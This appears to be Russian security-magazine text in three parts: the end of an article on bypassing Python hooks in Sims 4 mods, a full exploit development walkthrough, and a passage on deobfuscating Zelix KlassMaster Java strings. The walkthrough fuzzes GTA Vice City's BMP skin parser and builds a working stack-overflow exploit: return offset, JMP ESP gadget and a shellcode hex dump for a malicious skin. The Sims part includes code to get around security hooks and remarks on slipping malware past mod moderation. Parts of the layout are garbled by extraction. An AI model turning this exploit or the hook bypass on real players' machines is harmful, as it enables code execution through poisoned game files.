Метод  на CPython возвращает адрес объекта в памяти. Когда мы переза‐

писываем функцию, мы всего лишь меняем связанную с  ее именем ссылку.
При этом код остается по тому же адресу, что и был.

id

mkdir addr: 0x209c55b4d10

open addr: 0x209c55b5440

hooked addr: 0x209c5e5f6a0


Как нетрудно догадаться, адреса в  памяти меняются. Но  расстояние между
ними (для конкретной версии Python) остается неизменным!

 import ctypes

   mkdir_delta = 0x730 # Python 3.13.1
    orig_addr = id(os.mkdir) + mkdir_delta
   orig_func = ctypes.cast(orig_addr, ctypes.py_object).value

 print('orig addr:', orig_func)

# orig addr: <built-in function open>

Игра использует статическую версию интерпретатора, так что расстояние
между функциями не меняется. Достаточно взять адрес любой соседней фун‐
кции и  прибавить к  нему расстояние до  нужной, и  мы узнаем ее исходный
адрес. Конвертируем его в объект и таким образом получим рабочую ссылку.
Как видишь, обойти хуки совсем не трудно. А вместе с ними и любые защит‐
ные меры для игры.

ПУБЛИКАЦИЯ НОВЫХ МОДОВ

Последний бастион защиты от малвари — модерация на сайтах. Существует
несколько площадок для мододелов:

;• Mod The Sims
;• The Sims Resource

;• Curse Forge
.• Nexus Mods

В среднем модерация занимает одну неделю. В  основном проверяют, что
мод не  содержит чужой или  платный контент (включая текстуры и  шрифты),
шокирующие или спорные темы и тому подобное. Последняя атака заставила
площадки значительно усилить модерацию. Хотя для  постоянных авторов
модерация отключена. По  этой причине угон аккаунтов старых авторов ока‐
зался таким эффективным.

Положа руку на сердце, я не думаю, что у рядового модератора получится
найти хорошо замаскированный вредоносный код в скомпилированном виде.
Достаточно раздуть объем исходных кодов и не применять очевидно опасных
функций, вроде тех, что проверяет «антивирус» Privacy Protector.

Изделия, не  подходящие под  политику контента, скачиваются с  пер‐
сональных страниц авторов на  Patreon или  специализированных NSFW-сай‐
тах. Также существуют мод‑паки  — папки с  модами, заранее кем‑то подоб‐
ранными. Они распространяются на  файловых  безо  всякой
модерации вовсе.

помойках

ВЫВОДЫ

Что можно сказать об увиденном? Маленькая инди‑компания Maxis не в сос‐
тоянии ограничить виртуальную машину интерпретатора Python. Достаточно
было бы отрезать доступ к ненужным модулям и оставить только API плагинов.
Но  не думаю, что это  когда‑нибудь будет сделано. Слишком много
легаси‑кода, и любые изменения приведут к тому, что старые плагины перес‐
танут нормально работать. Судя по всему, The Sims 4 останется дырявым нав‐
сегда.

https://www.patreon.com/posts/98126153
https://github.com/rocky/python-decompile3
https://modthesims.info/
https://www.thesimsresource.com/
https://thesims4.curseforge.com/
https://www.nexusmods.com/thesims4
https://www.playground.ru/


mr.grogrig
mr.grogrig@gmail.com

ВЗЛОМ

Сегодня мы пройдем полный цикл раз‐
работки эксплоита: от  создания фаззера
до успешного запуска шелл‑кода. Под при‐
целом — парсер файлов BMP, которые игра
принимает в  качестве пользовательских
скинов. Правильно сформированный файл
приведет к  исполнению произвольного
кода, а  значит, и  возможному заражению
игрока вредоносным кодом.

WARNING

Статья имеет ознакомительный характер и пред‐
назначена для  специалистов по  безопасности,
проводящих тестирование в  рамках контракта.
Автор и  редакция не  несут ответственности
за  любой вред, причиненный с  применением
изложенной информации. Распространение вре‐
доносных программ, нарушение работы систем
и  нарушение тайны переписки преследуются
по закону.

ПОДГОТОВКА

Играть будем с английской лицензионной версией 1.1 с накаченным поверх
NoCD. Русская версия ничем принципиально не отличается, за исключением
поддержки кириллических шрифтов. Я протестировал эксплоит на обеих вер‐
сиях, и они оказались совместимы.

MD5
gta-vc.exe: 16094566bdaac10c7f9cc10beeac7ae8

gta-vc.exe: 32f157ea394c23ff0a91096226eccbf7


В качестве отладчика я буду использовать . Закинь к нему
в папку  скрипт , он добавляет новые команды во встро‐

енный интерпретатор Python. Они потребуются для  поиска ROP-гаджетов
на этапе создания эксплоита.

Immunity Debugger
PyCommands mona.py

По умолчанию игра открывается в полноэкранном режиме. Если запустить
ее в  отладчике и  поймать точку останова, мы застрянем на  зависшей прог‐
рамме, которая не  дает себя нормально свернуть. Насколько я понимаю,
игра не  поддерживает два экрана, поэтому единственным решением может
быть запуск в режиме окна. Нет никакой возможности сделать это через нас‐
тройку конфигов или ключами запуска. Благо есть утилита D3DWindower 1.88,
которая перехватывает функцию , подменяя взаимодей‐

ствия с  интерфейсом , чтобы включить оконный режим и  выс‐

тавить требуемый размер окна. Советую поставить ее или любой аналог.

Direct3DCreate9
IDirect3D9

КАК УСТРОЕН BMP

Давай посмотрим, как  устроен формат изображений. Сначала идут два
заголовка. За  ними следует массив линий, каждая из  которых состоит
из информации о конкретных пикселях.

 struct BMPheader
{
    uint16 magic;
    uint32 size;
    uint16 reserved[2];
    uint32 offset;
};

 struct DIBheader
{
    uint32 headerSize;
    int32 width;
    int32 height;
    int16 numPlanes;
    int16 depth;
    uint32 compression;
    uint32 imgSize;
    int32 hres;
    int32 vres;
    int32 paletteLen;
    int32 numImportant;
};

 struct Pixel
{
    int8 red;
    int8 green;
    int8 blue;
};

 BMPheader head_bmp;
 DIBheader head_dib;

 Pixel[256][256] lines;

Возьмем скин  как первоначальный образец для фаззера.Batman.bmp

BMPheader

   magic        BM

   size         196662

   reserved     0

   offset       54


DIBheader

   headerSize   40

   width        256

   height       256

   numPlanes    1

   depth        24

   compression  0

   imgSize      196608

   hres         0

   vres         0

   paletteLen   0

   numImportant 0


Lines

   Line

       Pixel

           R    57

           G    52

           B    33


Сломать можно только заголовки, любое изменение линий приведет исклю‐
чительно к смене цветов на картинке.

ПИШЕМ ФАЗЗЕР BMP

Значимых полей не  очень много. Заголовки занимают всего  54  байта. Мы
легко можем побить их все, уничтожая по  одному биту за  раз, и  получить
на выходе 432 файла. Самый простой, но эффективный метод фаззинга — bit
flipping, или переворачивание битов. Там, где был ноль, станет единица, там,
где была единица, станет ноль.

Мне нравится проверять предположения по очереди, так что за один раз
будем бить конкретный бит в каждом байте. Если бить нулевой, то значение
увеличится или  уменьшится на  единицу, если бить седьмой, то на  128.
Это крайние значения, проверку стоит начать с них.

 import pwn

  def reverse_one_bit(data, bit_index):
       data_int = int.from_bytes(data, 'big', signed=False)
         max_bits = len(data) * 8 - 1
      bit_mask = pow(2, bit_index)

      if bit_mask & data_int:
         data_int -= bit_mask

   else:
         data_int += bit_mask

      return data_int.to_bytes(len(data), 'big', signed=False)

   def mutate_file(input_path, headers_end, bit_num):
     input_file = pwn.read(input_path)
     file_head = input_file[:headers_end]
       body_len = len(input_file) - headers_end
     file_body = pwn.cyclic(body_len)

      for i in range(headers_end):
            mutated = reverse_one_bit(file_head[:], i*8 + bit_num)
         out_path = f'output/mutated_{i}_{bit_num}.bmp'

           pwn.write(out_path, mutated + file_body, create_dir=True)

  mutate_file('Batman.bmp', 54, 7)

Разберемся, что делает код. Сначала подключаем библиотеку .
Затем с  помощью ее функций читаем образец файла. В  заголовке каждого
файла повреждается один бит. Тело файла заменяется специальной пос‐
ледовательностью, которую выдает . Этот метод генерирует стро‐

ку типа . Каждые 4 байта повторяются в ней лишь

однажды. Это гарантирует, что мы всегда сможем визуально определить тело
файла в памяти процесса.

pwntools

pwn.cyclic
aaaa baaa caaa daaa eaaa

ЛОВИМ ПАДЕНИЯ

На прошлом шаге фаззер подарил нам 54 файла. Скопируем их в 

 и  через D3DWindower запустим . Теперь
присоединим к нему Immunity Debugger. По какой‑то причине игра подвисает,
если повторно подключить отладчик к тому же процессу. Так что перезапус‐
кай Immunity, если у тебя такая же проблема.

C:\Games\
GTA Vice City\skins gta-vc.exe

Далее заходим в  настройки игры и  примеряем новые скины. Довольно
быстро получаем падение на  файле . Числа указывают

на смещение изменяемых данных. Биты и байты идут в обратном порядке. То
есть в данном случае изменен младший бит в 24-м байте от конца заголов‐
ков.

mutated_24_0.bmp

Томми стал похож на елку

Фаззер сломал поле , которое отвечает за глубину цвета,

то есть количество битов на  один пиксель. Обычно оно не  превышает  32,
но  стало  280, что заметно пугает парсер. Это  хороший знак, ошибок будет
много.

DIBheader->depth

; Access violation when writing to [12080712]


00660EA7  |. 8948 0C        MOV DWORD PTR DS:[EAX+C],ECX

00660EAA  |. 8B16           MOV EDX,DWORD PTR DS:[ESI]

00660EAC  |. 8951 0C        MOV DWORD PTR DS:[ECX+C],EDX

00660EAF  |. 8B06           MOV EAX,DWORD PTR DS:[ESI]

00660EB1  |. 8948 08        MOV DWORD PTR DS:[EAX+8],ECX

00660EB4  |. 890E           MOV DWORD PTR DS:[ESI],ECX

00660EB6  |. 56             PUSH ESI

00660EB7  |. 8B06           MOV EAX,DWORD PTR DS:[ESI]

00660EB9  |. 50             PUSH EAX

00660EBA  |. E8 61010000    CALL gta-vc.00661020


Перезапускаем отладчик и ловим падение на  . В этот раз

сломано поле , новое значение  — 16777256. Пока

не  вижу смысла копаться в  деталях падения, сначала соберем все уникаль‐
ные.

mutated_36_0.bmp
DIBheader->headerSize

; Access violation when writing to [001A0000]


0064DC6A  |. F3:A5          REP MOVS DWORD PTR ES:[EDI],DWORD PTR 
DS:[ESI]

0064DC6C  |. 85C0           TEST EAX,EAX

0064DC6E  |. 74 04          JE SHORT gta-vc.0064DC74

0064DC70  |> 89C1           MOV ECX,EAX

0064DC72  |. F3:A4          REP MOVS BYTE PTR ES:[EDI],BYTE PTR 
DS:[ESI]

0064DC74  |> 89D0           MOV EAX,EDX

0064DC76  |. 5F             POP EDI

0064DC77  |. 5E             POP ESI

0064DC78  \. C3             RETN


Остальные файлы дают падение по тем же адресам. Соберем новые файлы
с  изменением старшего, то есть седьмого бита. И  получаем уникальное
падение на  . Теперь поле  приняло

отрицательное значение -2147483392. Это  интересно! Похоже, парсер
не ожидал увидеть картинку с отрицательной высотой.

mutated_28_7.bmp DIBheader->height

; Access violation when reading [00000020]


006647BA   . 8A46 20        MOV AL,BYTE PTR DS:[ESI+20]

006647BD   . 84C0           TEST AL,AL

006647BF   . 75 0B          JNZ SHORT gta-vc.006647CC

006647C1   . 53             PUSH EBX

006647C2   . E8 D9FDFFFF    CALL gta-vc.006645A0

006647C7   . 83C4 04        ADD ESP,4

006647CA   . EB 05          JMP SHORT gta-vc.006647D1


Остальные семерки повторяют известные случаи. Новое уникальное падение
происходит на  . Знакомый нам  принял
значение 2072. Получаем новую ошибку по старому адресу.

mutated_24_3.bmp DIBheader->depth

; Access violation when writing to [FF25000C]


00660EA7  |. 8948 0C        MOV DWORD PTR DS:[EAX+C],ECX

00660EAA  |. 8B16           MOV EDX,DWORD PTR DS:[ESI]

00660EAC  |. 8951 0C        MOV DWORD PTR DS:[ECX+C],EDX


Ну и  наконец, файл  дал нечто многообещающее. Тес‐

товый файл затирает поле , назначая ему чис‐

ло 2088.

mutated_38_3.bmp
DIBheader->headerSize

; Access violation when reading [C76DB9B3]


6A616177   848F FEFFFFC6    TEST BYTE PTR DS:[EDI+C6FFFFFE],CL

6A61617D   45               INC EBP

6A61617E   B7 01            MOV BH,1

6A616180  ^E9 8DFEFFFF      JMP nvgpucom.6A616012


Я не  поверил своим глазам, когда это  увидел: адрес EIP был неслучаен.
Взглянув на  стек, убеждаемся, что произошло классическое переполнение
буфера! Это ровно те паттерны, которые создает .pwn.cyclic

0019F908   6A616178  xaaj  nvgpucom.6A616178

0019F90C   6A616179  yaaj  nvgpucom.6A616179

0019F910   6B61617A  zaak  nvgpucom.6B61617A

0019F914   6B616162  baak  nvgpucom.6B616162

0019F918   6B616163  caak  nvgpucom.6B616163


Остальные случаи можно отбросить, готовая схема эксплуатации уже най‐
дена. Остается понять, как и почему она работает.

ИЩЕМ ПРИЧИНУ

Чтобы облегчить себе задачу, я решил заглянуть в  исходники проекта ,
авторы которого отреверсили код GTA 3.

re3

// re3-miami\src\render\PlayerSkin.cpp

 RwTexture *
  CPlayerSkin::GetSkinTexture(const char *texName)

{
    RwTexture *tex;
    RwRaster *raster;
       int32 width, height, depth, format;

   CTxdStore::PushCurrentTxd();
   CTxdStore::SetCurrentTxd(m_txdSlot);
      tex = RwTextureRead(texName, NULL);
   CTxdStore::PopCurrentTxd();
        if (tex != nil) return tex;

           if (strcmp(DEFAULT_SKIN_NAME, texName) == 0 || texName[0] == '\0'
)

        sprintf(gString, "models\\generic\\player.bmp");
   else

         sprintf(gString, "skins\\%s.bmp", texName);

        if (RwImage *image = RtBMPImageRead(gString)) {
   

  
       RwImageFindRasterFormat(image, rwRASTERTYPETEXTURE, &width, &
height, &depth, &format);

            raster = RwRasterCreate(width, height, depth, format);
        RwRasterSetFromImage(raster, image);

         tex = RwTextureCreate(raster);
        RwTextureSetName(tex, texName);

        RwTextureSetFilterMode(tex, rwFILTERLINEAR);

 
       RwTexDictionaryAddTexture(CTxdStore::GetSlot(m_txdSlot)->
texDict, tex);

       RwImageDestroy(image);
   }
    return tex;
}

Код ссылается на процедуру :RtBMPImageRead

// gta3-decomp\src\fakerw\fake.cpp

 RwImage *
  RtBMPImageRead(const RwChar *imageName)

{
#ifndef _WIN32
    RwImage *image;
      char *r = casepath(imageName);
     if (r) {

         image = rw::readBMP(r);
       free(r);
     } else {

         image = rw::readBMP(imageName);
   }
    return image;

#else
    return rw::readBMP(imageName);
#endif
}

, в свою очередь, ссылается на  :RtBMPImageRead readBMP

// gta3-decomp\vendor\librw\src\bmp.cpp

Image*
  readBMP(const char *filename)

{
   ASSERTLITTLE;
    Image *image;
    uint32 length;
    uint8 *data;
    StreamMemory file;
      int i, x, y;

    bool32 noalpha;
    int pad;

      data = getFileContents(filename, &length);
     if(data == nil)

        return nil;
    file.open(data, length);

   /* read headers */
    BMPheader bmp;
    DIBheader dib;
   if(!bmp.read(&file))

        goto lose;
    file.read8(&dib, sizeof(dib));
     file.seek(dib.headerSize-sizeof(dib)); // Skip the part of the 
header we’re ignoring
     if(dib.headerSize <= 16){

         dib.compression = 0;
         dib.paletteLen = 0;

   }

Реверс не  повторяет оригинал дословно. Я немного покопался в  отладчике
с  первыми падениями и  знаю, что парсинг идет постранично, без  полного
чтения файла в  буфер. Но  этот код навел меня на  верную мысль. По  всей
видимости, оригинальный код так же читает структуру  на  стек,

но  вместо  использует . Достаточно

указать  больше изначального, но  меньше, чем размер файла
BMP, и его тело успешно перезапишет адрес возврата на стеке. Ошибка най‐
дена.

DIBheader
sizeof(dib) DIBheader->headerSize

headerSize

СОБИРАЕМ ЭКСПЛОИТ

Адрес падения не  обязательно должен совпадать с  перезаписанным адре‐
сом возврата. Чтобы узнать его наверняка, используем трассировку. Для это‐
го надо найти удачную точку входа. Для  начала я поставил брейк‑пойнт
на функцию  и  дождался открытия целевого файла. Далее идет
цикл из   и  закрытие файла на  . Поймав последний

через точку останова, запускаем трассировку:

CreateFileA
ReadFile CloseHandle

00672A09    Main    TEST EAX,EAX

00672A0B    Main    JE SHORT gta-vc.00672A30

00672A0D    Main    MOV EAX,DWORD PTR DS:[EBX*4+7F9F70] EAX=00BC1F78

00672A14    Main    PUSH EAX    ESP=0019F448

00672A15    Main    CALL gta-vc.006618F0    ESP=0019F444


(...)


00657D50    Main    POP EDI ESP=0019F4A0, EDI=006DB9B5

00657D51    Main    POP ESI ESP=0019F4A4, ESI=0094AE7D

00657D52    Main    POP EBP ESP=0019F4A8, EBP=0094AE7C

00657D53    Main    POP EBX EBX=00000000, ESP=0019F4AC

00657D54    Main    ADD ESP,458 ESP=0019F904

00657D5A    Main    RETN    ESP=0019F908

6A616177    Main    TEST BYTE PTR DS:[EDI+C6FFFFFE],CL


Действительно, адрес перехода соответствует  6A616177, или  строчке .
Найдем ее адрес в файле:

jaaw












988
>>> pwn.cyclic_find(0x6A616177)



1042
>>> 988 + 54

Заглянув в редактор, видим по смещению 1042 строку . Все в порядке,

адреса на  стеке записываются в  обратном порядке байтов. Осталось найти
адрес команды  и вставить шелл‑код.

waaj

JMP ESP
Нам попался файл с  выключенным DEP, то есть с  исполнимым стеком.

Поэтому мы идем по  простому пути, передавая управление сразу на  стек.
В  противном случае нам пришлось  бы составлять цепочку из  ROP-гад‐
жетов — частей оригинального кода, заканчивающихся опкодом  или  .
Если в  атакуемом файле достаточно кода, то в  нем можно найти гаджеты
на  все случаи жизни и  собрать из  них загрузочный шелл‑код, передающий
управление на полезную нагрузку.

ret jmp

Помнишь скрипт , который я советовал скачать и положить в папку

Immunity Debugger? Самое время им воспользоваться.

mona.py






!mona config -set workingfolder C:\Users\admin\Desktop\VICE

В консоли Immunity выставляем рабочую папку, в которую mona будет писать
отчеты.






!mona jmp –r esp

Поищем в  главном модуле нужные ROP-гаджеты. В  указанной выше папке
появляется  со списком найденных.jmp.txt

0x006231dd : jmp esp | startnull {PAGE_EXECUTE_READ} [gta-vc.exe] 
ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-
1.0- (C:\Games\VC_EN\gta-vc.exe), 0x0

0x0048f547 : push esp # ret  | startnull {PAGE_EXECUTE_READ} [gta-vc.
exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: 
False, v-1.0- (C:\Games\VC_EN\gta-vc.exe), 0x0

0x005b1a5b : push esp # ret  | startnull,asciiprint,ascii {PAGE_
EXECUTE_READ} [gta-vc.exe] ASLR: False, Rebase: False, SafeSEH: 
False, CFG: False, OS: False, v-1.0- (C:\Games\VC_EN\gta-vc.exe), 0x0

0x005b1ae7 : push esp # ret  | startnull {PAGE_EXECUTE_READ} [gta-vc.
exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: 
False, v-1.0- (C:\Games\VC_EN\gta-vc.exe), 0x0


По адресу 0x006231dd есть удобный . Теперь подготовим .jmp esp шелл‑код

0400  61 6A 73 61 61 6A 74 61 61 6A 75 61 61 6A 76 61  
ajsaajtaajuaajva
0410  61 6A DD 31 62 00 31 D2 B2 30 64 8B 12 8B 52 0C  ajÝ1b.
1Ò²0d‹.‹R.

0420  8B 52 1C 8B 42 08 8B 72 20 8B 12 80 7E 0C 33 75  ‹R.‹B.‹r ‹.€~.
3u

0430  F2 89 C7 03 78 3C 8B 57 78 01 C2 8B 7A 20 01 C7  ò‰Ç.
x<‹Wx.Â‹z .Ç

0440  31 ED 8B 34 AF 01 C6 45 81 3E 46 61 74 61 75 F2  1í‹4¯.ÆE.>
Fatauò

0450  81 7E 08 45 78 69 74 75 E9 8B 7A 24 01 C7 66 8B  .~.
Exitué‹z$.Çf‹

0460  2C 6F 8B 7A 1C 01 C7 8B 7C AF FC 01 C7 68 75 20  ,
o‹z..Ç‹|¯ü.Çhu

0470  20 01 68 65 70 2E 72 68 20 58 61 6B 89 E1 FE 49   .hep.rh 
Xak‰áþI

0480  0B 31 C0 51 50 FF D7 61 61 6C 63 61 61 6C 64 61  .
1ÀQPÿ×aalcaalda

0490  61 6C 65 61 61 6C 66 61 61 6C 67 61 61 6C 68 61  
aleaalfaalgaalha

Так выглядит финальный результат. Адрес  в обратном порядке, а за
ним — тело шелл‑кода.

DD316200

Пользователю достаточно посмотреть ядовитый скин в настройках

ВЫВОДЫ

Слепой фаззинг без учета типов и длины полей дал результат. В следующий
раз стоит попробовать более плавный ход и  увеличивать значения кратно.
А зная формат, можно использовать типичные константы вместо перебора.

Но интереснее всего то, что мы нашли ошибку в  процедуре ,

которая взята из  . А  значит, можно будет создать эксплоит
для всех игр, сделанных на этом движке!

readBMP
SDK RenderWare

https://github.com/kbandla/ImmunityDebugger
https://github.com/corelan/mona
https://github.com/Gallopsled/pwntools
https://github.com/halpz/re3
https://www.exploit-db.com/exploits/28996
https://ru.wikipedia.org/wiki/RenderWare


JaboHack

ВЗЛОМ

Сегодня мы продолжим знакомиться
с  обфускаторами, принципами их анализа
и борьбы с ними. Наш пациент — обфуска‐
тор для  Java под  названием Zelix
KlassMaster, внутреннее устройство которо‐
го мы подробно исследуем.

Я думаю, ты достаточно внимательно следишь за  темой, поэтому тебе уже
не  нужно объяснять, что такое обфускатор. Но  на всякий случай кратко
напомню: это  семейство программ, которые максимально запутывают код,
затрудняя его анализ хакером или реверс‑инженером. Обычно такое актуаль‐
но для скриптовых и высокоуровневых языков, компилируемых не в натив, а в
промежуточный шитый код, из которого исходники восстанавливаются отно‐
сительно легко различными декомпиляторами.

Так получилось, что до  этого мы уделяли много внимания обфускаторам
.NET, JavaScript и прочих языков, незаслуженно обойдя вниманием Java. Поп‐
робую исправить это упущение: сегодня мы рассмотрим необычный обфуска‐
тор — Zelix KlassMaster. Его необычность заключается даже не в том, что он
под Java, а, скорее, в стране происхождения — он создан 

. Шучу, конечно, в  этом тоже нет ничего необычного. В  общем,
это очередной типичный обфускатор для Java, который мы выбрали в качес‐
тве примера для обучения.

командой австра‐
лийцев

Забегая вперед, скажу, что под версии этого обфускатора вплоть до 11-й
уже имеется готовый , поэтому, если тебе попалась
старая версия и  лень читать дальше, можешь им воспользоваться. Мы же
попробуем самостоятельно разобрать версию Zelix 12.0.2, не  поддержи‐
ваемую упомянутым деобфускатором, и написать на нее свой деобфускатор.

деобфускатор ZelixKiller

Итак, у  нас есть некое приложение для  работы с  электронной почтой,
реализованное на  Java. По  понятным причинам Detect It Easy нам никак
не поможет в определении обфускатора. На Zelix KlassMaster нам указывает
строковая константа , содержащаяся в  пуле констант каждого
класса.

ZKM12.0.2

На эту константу нет видимых ссылок из  кода, и  она содержит версию
обфускатора Zelix KlassMaster, поэтому для других версий цифры будут ины‐
ми.

Сразу смиренно принимаем неприятный факт, что исходные имена клас‐
сов внутри архива  потеряны и называются  — сейчас

только ленивый оставляет их на  всеобщее обозрение. Гораздо более неп‐
риятным сюрпризом оказывается то, что, во‑первых, в  скомпилированном
JVM-коде напрочь отсутствуют текстовые строки в  явном виде, а  во‑вторых,
некоторые методы не  декомпилируются. К  примеру, вот так выглядит код
некоторых методов, восстановленный онлайн‑декомпилятором .

.jar a, b, c, d, ...

jdec.app

А вот результат работы популярного офлайн‑декомпилятора JD-GUI.

К слову, декомпилятор  все‑таки кое‑как справляется с задачей.FernFlower

Оценив полученные результаты, я немного удивился тому, что простая и при‐
митивная конструкция

//   56: aload #4
//   58: invokevirtual length : ()I
//   61: bipush #24
//   63: iload_2
//   64: ifeq -> 311
//   67: if_icmplt -> 297
//   70: goto -> 77

эквивалентная вот такому полуразобранному коду:

     v0 = var4_3.length();
     v1 = 24;
      if (!var2_6) break block38;
       if (v0 >= v1) {
   }
     ** GOTO lbl43

так легко и непринужденно рушит логику работы нескольких декомпиляторов.
Ну что ж, в любом случае эта проблема имеет хоть какое‑то решение и логика
кода при должном внимании все‑таки восстановима. Поэтому не будем сей‐
час останавливаться на ней, тем более что и мест с подобными коллизиями
в коде не так уж много.

Остановимся подробнее на  более актуальной проблеме  — восстанов‐
лении значений текстовых констант, ведь без  них мы даже не  понимаем,
какой класс за  какое действие программы отвечает. Бегло просмотрев код
любого класса, замечаем обилие ссылок на  конструкции вида 

, , , возвращающих .
Обращаем внимание, что последним методом каждого класса является
метод такого вида:

a(-6001, 
-16879) a(-6007, 18765) a(-6006, 20811)... String

          private static String a(int n, int n2) {
               int n3 = (n ^ 0xFFFFE88D) & 0xFFFF; // Маска для xor 

варьируется от класса к классу произвольным образом
           if (q[n3] == null) {

            int n4;
            int n5;

              char[] cArray = p[n3].toCharArray();
               switch (cArray[0] & 0xFF) {

                 case 0: {
                     n5 = 63;

                   break;
               }
// Длинный case по всем значениям от 0 до 255, представляющий собой 
по сути табличное преобразование, уникальное для каждого класса

                case 254: {
                     n5 = 212;

                   break;
               }

                default: {
                     n5 = 197;

               }
           }

              int n6 = n5;
                  int n7 = (n2 & 0xFF) - n6;

               if (n7 < 0) {
                 n7 += 256;

           }
                       if ((n4 = ((n2 & 0xFFFF) >>> 8) - n6) < 0) {

                 n4 += 256;
           }

              int n8 = 0;
               while (n8 < cArray.length) {

                    int n9 = n8 % 2;
                  int n10 = n8;

                  char[] cArray2 = cArray;
                  char c = cArray[n10];

                   if (n9 == 0) {
                       cArray2[n10] = (char)(c ^ n7);

                               n7 = ((n7 >>> 3 | n7 << 5) ^ cArray[n8]) & 0xFF;
                 } else {

                       cArray2[n10] = (char)(c ^ n4);
                               n4 = ((n4 >>> 3 | n4 << 5) ^ cArray[n8]) & 0xFF;

               }
               ++n8;
           }

              q[n3] = new String(cArray).intern();
       }

        return q[n3];
   }

Этот код динамически заполняет массив  расшифрованными значениями

строк из массива . Откуда берется массив ? Ответ на этот вопрос нам дает

внимательный анализ метода . Метод тоже содер‐

жит в себе ловушки для декомпилятора, поэтому восстанавливается несколь‐
ко криво даже при помощи FernFlower:

q
p p

static void <clinit>()

   /*
    * Unable to fully structure code
    */
    static {

        block20: {
            block19: {

               // Общее количество зашифрованных строк
                  var5 = new String[15];

                 var3_1 = 0;
               // Первая строка, содержащая зашифрованный код 
строковых констант

                 var2_2 = "...";
                 var4_3 = var2_2.length();

               // Длина самой первой строковой константы, 
зашифрованной внутри var2_2

                 var1_4 = 18;
                 var0_5 = -1;

lbl8:
               // 2 sources

                 while (true) {
                   // Маска xor уникальна для каждого класса

                     v0 = 67;
                     v1 = ++var0_5;
                        v2 = var2_2.substring(v1, v1 + var1_4);
                     v3 = -1;

                    break block19;
                   break;
               }
lbl14:
               // 1 sources

                 while (true) {
                     var5[var3_1++] = v4.intern();

                         if ((var0_5 += var1_4) < var4_3) {
                         var1_4 = var2_2.charAt(var0_5);

                        ** continue;
                   }
                   // Вторая строка, содержащая зашифрованный код 
строковых констант

                     var2_2 = "...";
                     var4_3 = var2_2.length();

                   // Длина самой первой строковой константы, 
зашифрованной внутри второй строки var2_2

                     var1_4 = 9;
                     var0_5 = -1;

lbl23:
                   // 2 sources

                     while (true) {
                       // Маска xor уникальна для каждого класса

                         v0 = 74;
                         v5 = ++var0_5;
                            v2 = var2_2.substring(v5, v5 + var1_4);
                         v3 = 0;

                        break block19;
                       break;
                   }
                   break;
               }
lbl29:
               // 1 sources

                 while (true) {
                     var5[var3_1++] = v4.intern();

                         if ((var0_5 += var1_4) < var4_3) {
                         var1_4 = var2_2.charAt(var0_5);

                        ** continue;
                   }

                    break block20;
                   break;
               }
           }

             v6 = v2.toCharArray();
             v7 = v6.length;

             var6_6 = 0;
             v8 = v0;
             v9 = v6;
             v10 = v7;

                 if (v7 > 1) ** GOTO lbl86
            do {

                 v11 = v8;
                 v9 = v9;
                 v12 = v9;
                 v13 = v8;
                 v14 = var6_6;

                 while (true) {
                       switch (var6_6 % 7) {
                         case 0: {

                             v15 = 36;
                           break;
                       }

                        ... // case из шести значений, 
представляющий собой шесть масок для последовательных операций xor, 
уникален для каждого класса

                        default: {
                             v15 = 64;

                       }
                   }

                         v12[v14] = (char)(v12[v14] ^ (v13 ^ v15));
                   ++var6_6;

                     v8 = v11;
                       if (v11 != 0) break;
                     v11 = v8;

                     v9 = v9;
                     v14 = v8;
                     v12 = v9;
                     v13 = v8;

               }
lbl86:
               // 2 sources

                 v16 = v9;
                 v10 = v10;

               } while (v10 > var6_6);
              v4 = new String(v16);

             switch (v3) {
                default: {

                    ** continue;
               }

                 ** case 0:
lbl96:
               // 1 sources

                ** continue;
           }
       }

         p.p = var5;

Логика этого кода слегка ломает мозг, однако при ближайшем рассмотрении
ничего особо сложного в  нем нет. Конечно, жизнь вверх ногами среди кен‐
гуру накладывает определенный отпечаток на  специфику австралийского
программирования, но при должном старании и упорстве даже такая логика
вполне постижима. К  примеру, эквивалент вышеприведенного кода на  С#
выглядит примерно вот так:

      private static String a(int n, string cArray)
       {

             char [] cArray2;

            int n2;
            int n3;
            int n4;

             n4 = n;
             cArray2 = cArray.ToCharArray();

             n3 = cArray.Length;
             n2 = 0;

                if (n3 <= n2) return "";

           do
           {

                  int n5 = n2;
                       cArray2[n5] = (char)(cArray2[n5] ^ (n4 ^ (mask7[(n2 %

7)])

               ));
               ++n2;

               } while (n3 > n2);

             return new string(cArray2);

       }
...
     // Расшифровка строковых констант, содержащихся в первой 
зашифрованной строке var2_2

        while (true)
           {

                 int v0 =v0_0;

                  int v1 = ++var0_5;
                   string v2 = var2_2.Substring(v1, var1_4);

                  int v3 = -1;

                  var5[var3_1++] = a(v0, v2);

                    if ((var0_5 += var1_4) < var4_3)
               {

                     var1_4 = var2_2[var0_5];
                   continue;
               }

                else break;
           }

             var2_2 = cryptStr2;
             var4_3 = cryptStr2.Length;
             var1_4 = var1_4_1;
             var0_5 = -1;

           // Расшифровка строковых констант, содержащихся во 
второй зашифрованной строке var2_2

            while (true)
           {

                  int v0 = v0_1;
                  int v4 = ++var0_5;

                   string v2 = var2_2.Substring(v4, var1_4);
                  int v3 = 0;

                  var5[var3_1++] = a(v0, v2);
                    if ((var0_5 += var1_4) < var4_3)

               {
                     var1_4 = var2_2[var0_5];

                   continue;
               }
               break;
           }

Массив строк , получающийся на выходе этого кода, и есть упомянутый

выше массив . Еще одной странностью австралийского программирования

лично для меня стало то, что, анализируя код, обфусцированный более поз‐
дней версией ZKM15.0.2 , я обнаружил: разработчики не усложнили, а, наобо‐
рот, упростили алгоритм шифрования строк, отказавшись от финального пре‐
образования .

var5
p

private static String a(int n, int n2)
То есть массив  из фрагмента кода выше в этом случае уже содержит

расшифрованные строки, которыми заполняется массив 

, содержащийся в  каждом классе. В  дальнейшем стро‐
ковые константы просто выбираются из этого массива.

var5
private static 

final String[] a

Что касается разбираемой нами сейчас версии 12.0.2, то перекодировка
строковых констант местами там еще  более параноидальная, чем описано
выше. Разработчики решили, что для  некоторых строковых констант недос‐
таточно упомянутого мною шифрования и  их на  всякий случай надо зашиф‐
ровать еще  раз другим алгоритмом. К  примеру, по  какой‑то понятной лишь
сумчатым причине они решили посильнее спрятать слово Register в заголов‐
ке диалогового окна регистрации. Для этого они создали специальный класс

 с совсем уж ламерским алгоритмом шифрования следующего вида:util.T

   public class T {
        public static String a(String string) {

           StringBuffer stringBuffer = new StringBuffer();
                for (int i = 0; i < string.length(); ++i) {

           stringBuffer.append(T.a(string.charAt(i)));
       }

        return stringBuffer.toString();
   }

